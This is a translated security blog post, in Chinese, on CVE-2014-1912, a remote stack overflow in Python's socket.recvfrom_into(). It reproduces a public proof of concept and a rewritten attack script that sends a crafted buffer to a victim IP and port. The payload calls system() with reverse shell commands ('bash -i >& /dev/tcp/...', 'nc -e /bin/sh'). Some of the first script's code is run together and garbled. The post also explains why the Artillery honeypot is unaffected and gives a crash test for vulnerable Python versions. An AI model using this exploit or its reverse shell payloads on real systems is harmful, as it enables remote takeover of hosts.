最近,pastebin上发布了一个exploit,是关于Python 2.7和3.x版本中的socket.recvfrom_into()函数中一个远程代码执行漏洞(栈溢出)的PoC。
(有些地方pastebin.com可能被墙了,为了方便,译者把它拷贝到文章里。)原exploit如下:
#!/usr/bin/env python'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912
socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder
With NX evasion!
(gdb) x/i $eip
=> 0x817bb28: mov eax,DWORD PTR [ebx+0x4] <--- ebx full control => eax full conrol
0x817bb2b: test BYTE PTR [eax+0x55],0x40
0x817bb2f: jne 0x817bb38 -->
...
0x817bb38: mov eax,DWORD PTR [eax+0xa4] <--- eax full control again
0x817bb3e: test eax,eax
0x817bb40: jne 0x817bb58 -->
...
0x817bb58: mov DWORD PTR [esp],ebx <---- ebx points to the beginning of the buffer [trash]||shell cmd[null byte]
0x817bb5b: call eax <----- indirect fucktion call ;) will be redirected to system()
'''import structdef off(o):
return struct.pack('L',o)'''
rop = {
'pop eax': off(0x80795ac),
'call eax': off(0x817bb5b),
'xor eax': off(0x8061379),
'mov [eax], edx': off(0x8078cf6),
'xor edx, edx': off(0x80a60d1),
}
'''plt = {
'system': off(0x805b7e0),}#addr2null = off(0x11111111)ebx = 0xb7ae7908 # points to the begining of the buff eax = ebx
eax2 = ebx+20padd2 = 'X'*(144)padd1 = 'Y'*(8) #system_command = 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'#system_command = 'nc -e /bin/sh 127.0.0.1 1337'system_command = 'ncat -e /bin/sh 127.0.0.1 1337''''
+------------+------------------+ +--------------------+
| | | | |
V | | | V
'''buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 + plt['system'] + '||'+system_command+'\x00' # thanks python strings ;)print 'buf
该exploit发布于一月份,并且当时就已经被修复了(http://bugs.python.org/issue20246)。不过这里要说的是,虽然我们的Artillery用Python编写,而且用到了Python的SocketServer()函数,而SocketServer()函数又用到了Python中的socket模块,但幸运的是,Artillery并没有被这次的漏洞波及,纠其原因还是在于Artillery的设计。在创建Artillery时我们实际上并没有打算用它来接收任何数据,只是accept一个socket连接,之后通过该连接发送数据。
Artillery 中的相关代码如下:
(https://github.com/trustedsec/artillery/blob/master/src/honeypot.py)
def setup(self): # hehe send random length garbage to the attacker length = random.randint(5, 30000) # fake_string = random number between 5 and 30,000 then os.urandom the command back fake_string = os.urandom(int(length)) # try the actual sending and banning try: self.request.send(fake_string) ##### <snipped some of the non-relevant code here> ##### self.request.close()
如你所见,我们基于(5,30000)生成了一个随机字符串,通过连接发送出去,之后断开连接,并没有实际接收数据,因此也没有调用过socket.recvfrom_into()函数。通过分析SocketServer()函数可以发现,这个函数甚至根本没用到socket.recvfrom_into()函数,因此Artillery才没有被这次的漏洞波及。将该程序设计为从来不从攻击者那里接收数据,是基于其特殊的应用场景,使其从根本上杜绝了因socket或SocketServer的问题而产生的漏洞。
原exploit有些问题,以下是根据该PoC重写的RCE版本(需要注意的是,代码中的rop变量没有整合到重写的exploit中,读者可以通过修改buff变量将该NX bypass合并进来):
import struct
import socket
import sys
def off(o):
return struct.pack('L',o)
'''
rop = {
'pop eax': off(0x80795ac),
'call eax': off(0x817bb5b),
'xor eax': off(0x8061379),
'mov [eax], edx': off(0x8078cf6),
'xor edx, edx': off(0x80a60d1),
}
'''
plt = {
'system': off(0x805b7e0),
}
#addr2null = off(0x11111111)
ebx = 0xb7ae7908
eax = ebx
eax2 = ebx+20
padd2 = 'X'*(144)
padd1 = 'Y'*(8)
system_command = 'bash -i >& /dev/tcp/0.0.0.0/1337 0>&1'
buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 + plt['system'] + '||'+system_command+'\x00'
try:
ip = sys.argv[1]
port = int(sys.argv[2])
print "[*] Python 2.x/3.x Remote Code Execution in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him."
print "[*] Quick rewrite: Dave Kennedy @ TrustedSec"
print "[*] Sending the exploit to %s on port %s"
print "[*] If successful, a shell will be listening on port 1337 on the remote victim"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# data = s.recv(512)
s.send(buff)
s.close()
except IndexError:
print "Python 2.x/3.x Remote Code Execution (NX bypass) in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him"
print "Quick rewrite by: Dave Kennedy @ TrustedSec"
print "Usage: python exploit.py <victim_ipaddress> <victim_port>"
代码就是这样的。尽管recvfrom_into()函数较少使用,但仍存在风险,因为也许恰好很多应用程序都使用了这个函数。感谢@sha0coder写了这么棒的PoC。如果读者要测试正在使用的Python版本是否存在该漏洞,可以创建一个简单的test.py脚本,输入以下内容:
import socket r, w = socket.socketpair() w.send(b'X' * 1024) r.recvfrom_into(bytearray(), 1024)
在命令行运行 python test.py,如果返回Segmentation fault,那么恭喜你中枪了,赶紧更新你的Python吧!
[via trustedsec]